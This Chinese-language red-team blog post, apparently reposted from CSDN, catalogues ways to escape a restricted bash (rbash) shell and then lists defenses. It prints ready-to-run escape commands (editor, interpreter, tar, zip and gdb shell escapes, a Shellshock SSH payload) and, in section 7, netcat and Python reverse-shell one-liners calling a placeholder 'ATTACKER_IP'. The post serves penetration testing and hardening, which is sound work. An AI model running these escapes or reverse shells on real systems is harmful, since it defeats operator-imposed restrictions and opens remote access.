// 红队渗透 · 2025-04-24

rbash绕过技术详解:攻与防

引言

在Linux系统管理中,安全性是多用户环境中的核心关注点。受限Bash shell(rbash,Restricted Bash)作为一种常见的安全机制,通过限制用户执行特定命令或操作,有效降低了系统被滥用或未经授权访问的风险。然而,任何安全措施都可能存在漏洞,rbash也不例外。本文将深入剖析rbash的工作原理,系统整理其绕过技术,探讨这些方法的合法与恶意用途,并提供全面的防御策略,以帮助管理员构建更安全的系统。

什么是rbash?

受限Bash(rbash)是Bash shell的受限版本,通过以rbash名称启动或使用bash -r选项进入受限模式。rbash旨在通过以下限制增强系统安全性:

  • 禁止更改目录:无法使用cd命令切换目录。
  • 环境变量限制:无法设置或取消SHELL、PATH、ENV或BASH_ENV。
  • 命令路径限制:禁止执行包含斜杠(/)的命令(如/bin/bash)。
  • 重定向限制:禁用输出/输入重定向操作符(如>、>>、<>、>&等)。
  • shell替换限制:禁止使用exec替换当前shell。
  • 路径修改限制:无法修改PATH以包含用户主目录外的目录。

rbash常用于需要严格控制用户权限的场景,例如:

  • FTP服务器:限制FTP用户访问文件系统。
  • Web应用:为Web服务器用户提供有限的shell访问。
  • 教育环境:防止学生执行危险操作。

尽管rbash显著提高了安全性,但其限制并非无懈可击。以下章节将详细介绍绕过rbash的多种技术,并分析其原理、适用场景及潜在风险。

绕过rbash的方法与技术

以下是绕过rbash的常见技术,涵盖从利用系统工具到编程语言的多种方法。这些方法可用于安全测试(如渗透测试)或系统调试,但也可能被恶意用户滥用。每个方法均包括详细步骤、原理、适用条件及注意事项。

1. 使用SSH启动非受限Bash

描述:通过SSH启动一个非受限Bash shell,绕过rbash的限制。

步骤:

  • 执行命令:ssh username@hostname -t "bash --noprofile"
  • 或者:ssh username@hostname -t "/bin/sh"
  • 高级技巧:利用Shellshock漏洞(历史漏洞,适用于旧系统):ssh username@hostname -t "() { :; }; /bin/bash"

原理:SSH启动的会话是独立的,-t选项强制分配伪终端,--noprofile避免加载用户配置文件(如.bashrc),从而绕过rbash环境。

适用场景:

  • 用户具有SSH访问权限。
  • 目标系统未限制/bin/bash或/bin/sh的执行。

注意事项:

  • 需要有效的SSH凭据。
  • 系统可能通过PAM或SSH配置限制命令执行。
  • Shellshock漏洞仅适用于未修补的旧系统(如Bash 4.3之前)。

2. 利用文本编辑器(如vi、vim、ed、pico)

描述:利用文本编辑器的shell调用功能启动非受限Bash。

vi/vim绕过:

  • 运行:vi或vim
  • 按:,输入:set shell=/bin/bash,然后执行:shell
  • 或者直接输入:!/bin/bash

ed绕过:

  • 运行:ed
  • 输入:!/bin/bash

pico绕过:

  • 运行:pico -s /bin/bash
  • 打开空白文档,触发bash(利用pico的拼写检查程序选项)。

rvim绕过:

  • 运行:rvim - -Z -c ':!/bin/bash'

其他编辑器:

  • more /etc/passwd后输入!/bin/bash
  • less /etc/passwd后输入!/bin/bash
  • man man后输入!/bin/bash

原理:许多文本编辑器支持在交互模式下执行外部命令(通过!或特定选项),允许启动非受限shell。

适用场景:

  • 环境中存在vi、vim、ed、pico等编辑器。
  • 编辑器未被配置为禁用shell调用功能。

注意事项:

  • 管理员可能禁用编辑器的!命令或限制其功能。
  • 需要确保目标shell(如/bin/bash)存在且可执行。
  • pico方法依赖拼写检查选项,未配置spell命令可能失效。

3. 使用compgen -c列出可用命令

描述:运行compgen -c列出系统中所有可用命令,辅助发现绕过工具。

步骤:

  • 执行:compgen -c

原理:compgen -c是Bash内置命令,列出所有可执行命令,帮助用户识别未受限的工具(如python、scp等)。

适用场景:

  • 环境限制严格,需快速排查可用命令。
  • 作为其他绕过方法的辅助步骤。

注意事项:

  • 仅提供信息,无法直接绕过限制。
  • 输出可能较长,需手动筛选有用命令。

4. 利用SUID二进制文件

描述:SUID(Set User ID)二进制文件以文件所有者权限运行,可能绕过rbash限制。

步骤:

  • 查找SUID文件:find / -perm /4000 2>/dev/null(若find可用)
  • 检查常见SUID文件(如passwd、sudo),尝试执行命令。

原理:SUID文件以所有者(如root)权限运行,可能允许执行受限命令或启动非受限shell。

适用场景:

  • 系统存在配置不当的SUID文件。
  • 用户有权限访问SUID二进制文件。

注意事项:

  • rbash可能限制find或SUID文件执行。
  • 需谨慎操作,滥用SUID文件可能导致系统不稳定。
  • 管理员应定期审计SUID文件权限。

5. 使用编程语言

描述:利用Python、Perl、PHP、Awk等编程语言的系统调用功能执行非受限shell。

Python示例:

python -c 'import os; os.system("/bin/bash")'

Perl示例:

perl -e 'exec "/bin/sh";'

PHP示例:

php -a
# 进入交互模式后输入:
exec("sh -i");

Awk示例:

awk 'BEGIN {system("/bin/bash")}'

Ruby示例:

ruby -e 'exec "/bin/sh"'

Lua示例:

lua -e 'os.execute("/bin/bash")'

Expect示例:

expect -c 'spawn /bin/bash; interact'

原理:编程语言的系统调用函数(如os.system、exec)可执行任意命令,绕过rbash限制。

适用场景:

  • 环境中安装了相关语言解释器。
  • 用户有权限执行这些解释器。

注意事项:

  • 管理员可能移除或限制语言解释器。
  • 某些语言可能被配置为禁用系统调用功能。
  • 需要熟悉目标语言的基本语法。

6. 创建符号链接

描述:创建指向非受限二进制文件的符号链接,绕过路径限制。

步骤:

  • 创建链接:ln -s /bin/bash /tmp/bash
  • 执行:/tmp/bash

原理:rbash限制包含斜杠的命令,但符号链接可能绕过此限制。

适用场景:

  • 用户有权限在可写目录(如/tmp)创建符号链接。
  • 目标二进制文件(如/bin/bash)未被限制。

注意事项:

  • rbash可能禁止符号链接创建或执行。
  • 系统可能配置了限制符号链接的机制(如nosymlink挂载选项)。

7. 使用网络工具设置反向shell

描述:使用netcat或其他网络工具建立反向shell,获取非受限环境。

Netcat示例:

  • 攻击者机器:nc -lvp 4444 -e /bin/bash
  • 目标机器:nc attacker_ip 4444 -e /bin/bash

Python反弹shell示例:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

原理:反向shell通过网络连接将命令执行环境转移到攻击者控制的系统中,绕过rbash限制。

适用场景:

  • 环境中存在netcat或支持网络操作的编程语言。
  • 网络防火墙允许出站连接。

注意事项:

  • 需要攻击者预先设置监听服务器。
  • 系统可能限制网络工具或出站流量。
  • 反弹shell可能被IDS/IPS检测。

8. 逃脱chroot监狱

描述:若rbash与chroot结合使用,逃脱chroot环境可绕过rbash限制。

步骤:

  • 检查chroot环境的可写目录。
  • 利用漏洞(如内核漏洞)或不当配置(如设备节点)逃脱。
  • 示例:创建临时设备节点或使用chroot命令切换根目录。

原理:逃脱chroot后,rbash的限制失效,用户可访问完整文件系统。

适用场景:

  • chroot配置存在漏洞或不当设置。
  • 用户有足够权限执行逃脱操作。

注意事项:

  • 成功率较低,依赖特定漏洞。
  • 现代系统通常结合SELinux或容器化,增加逃脱难度。
  • 需深入了解chroot实现细节。

9. 切换用户逃逸

描述:使用su命令切换用户,加载非受限环境。

步骤:

  • 执行:su -c "python -c 'import pty; pty.spawn(\"/bin/bash\")'" username
  • 或者:su - username

原理:su -加载目标用户的完整环境,可能不包含rbash限制;pty.spawn创建交互式shell。

适用场景:

  • 用户知道目标用户密码。
  • 系统允许su命令执行。

注意事项:

  • 需要有效凭据。
  • 系统可能通过PAM限制su功能。
  • 切换用户可能触发审计日志。

10. 使用其他工具或命令

scp命令:

  • 执行:scp -S /path/yourscript x y:
  • 自定义脚本内容:
#!/bin/bash
/bin/bash

cp命令:

  • 复制bash:cp /bin/bash .; ./bash

zip命令:

  • 执行:zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"

tar命令:

  • 执行:tar cf /dev/null filename --checkpoint=1 --checkpoint-action=exec=/bin/bash

git命令:

  • 执行:git help status
  • 在less界面输入:!/bin/bash

gdb命令:

  • 执行:gdb -q
  • 输入:!/bin/bash

原理:这些工具或命令通过执行外部命令或加载交互模式,绕过rbash限制。

适用场景:

  • 环境中存在相关工具。
  • 工具未被配置为禁用shell调用。

注意事项:

  • 管理员可能限制这些工具的执行。
  • 某些工具(如git)依赖交互模式,需熟悉操作流程。
  • 使用复杂命令可能增加被检测的风险。

小tips

1. 比rbash更容易遇到的问题是当前路径异常问题

echo $PATH  ###一般很多命令基础执行不了的时候,都是路径异常,查看该值可验证    
export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin   ####修复

注意:rbash可能禁止修改PATH,需结合其他方法(如符号链接)。

2. 无法使用重定向操作符

问题:rbash禁止>、>>等重定向符号,无法写入文件。

echo 'script code' | tee scriptfile

3. ssh 登录时通过spawn shell逃逸

ssh username@IP  "export TERM=xterm;python -c  'import pty;pty.spawn(\"/bin/bash\")'"

4. 使用!'sh'绕过斜杠限制

技巧:在less、man等交互模式下,输入!'sh'(不含/)可能绕过斜杠限制。

示例:

less /etc/passwd
!'sh'

原理:!'sh'避免了斜杠,某些环境中可直接调用sh。

安全影响与防御措施

安全影响

绕过rbash的技术具有双重用途:

  • 合法用途:

    • 安全测试:渗透测试人员可利用这些方法评估系统安全性。
    • 系统调试:管理员可能需要绕过rbash恢复访问或修复配置。
    • 教育目的:学习Linux安全机制和shell行为。
  • 恶意用途:

    • 权限提升:攻击者可能获取更高权限,执行未授权操作。
    • 数据泄露:绕过rbash可能暴露敏感文件或配置。
    • 系统破坏:恶意用户可能删除关键文件或植入后门。
    • 持久化攻击:通过反弹shell或计划任务建立长期访问。

成功绕过rbash可能导致严重后果,尤其在高敏感环境中(如金融系统、医疗系统)。因此,了解这些技术并实施有效防御至关重要。

防御措施

为降低rbash被绕过的风险,系统管理员应采取以下综合防御策略:

  1. 严格限制PATH:

    • 将PATH限定为受信任目录(如/bin、/usr/bin)。
    • 示例:export PATH=/bin:/usr/bin
    • 定期检查PATH配置,确保无用户可写目录。
  2. 禁用不必要工具:

    • 移除或限制高风险命令(如vi、scp、netcat、python)。
    • 示例:通过文件权限或PAM限制:
chmod 750 /usr/bin/vi
  1. 强化SUID管理:

    • 最小化SUID二进制文件数量。
    • 定期审计:find / -perm /4000
    • 确保SUID文件不可被滥用。
  2. 结合chroot或容器:

    • 使用chroot隔离用户环境,限制文件系统访问。
    • 部署容器(如Docker)进一步隔离进程。
    • 示例:配置chroot:
chroot /jail/username /bin/rbash
  1. 强制访问控制:

    • 部署SELinux或AppArmor,限制用户操作。
    • 示例:SELinux策略禁止执行未授权命令。
  2. 限制SSH访问:

    • 配置/etc/ssh/sshd_config,禁用-t选项或限制命令执行。
    • 示例:限制用户命令:
Match User restricted_user
    ForceCommand /bin/rbash
  1. 最小化软件安装:
    • 仅安装必要工具,移除Python、Perl等解释器(若非必需)。
    • 示例:卸载不必要包:
apt remove python3 perl
  1. 定期审计与监控:
    • 检查用户行为、启动脚本和系统日志。
    • 使用工具(如auditd)监控高风险操作。
    • 示例:监控bash执行:
auditctl -w /bin/bash -p x -k bash_exec
  1. 教育与培训:

    • 培训管理员识别绕过技术及其迹象。
    • 定期开展安全演练,模拟rbash绕过场景。
  2. 网络隔离:

    • 限制出站网络连接,防止反弹shell。
    • 示例:配置防火墙:
iptables -A OUTPUT -p tcp --dport 4444 -j DROP

原文 https://blog.csdn.net/2301_79518550/article/details/147287764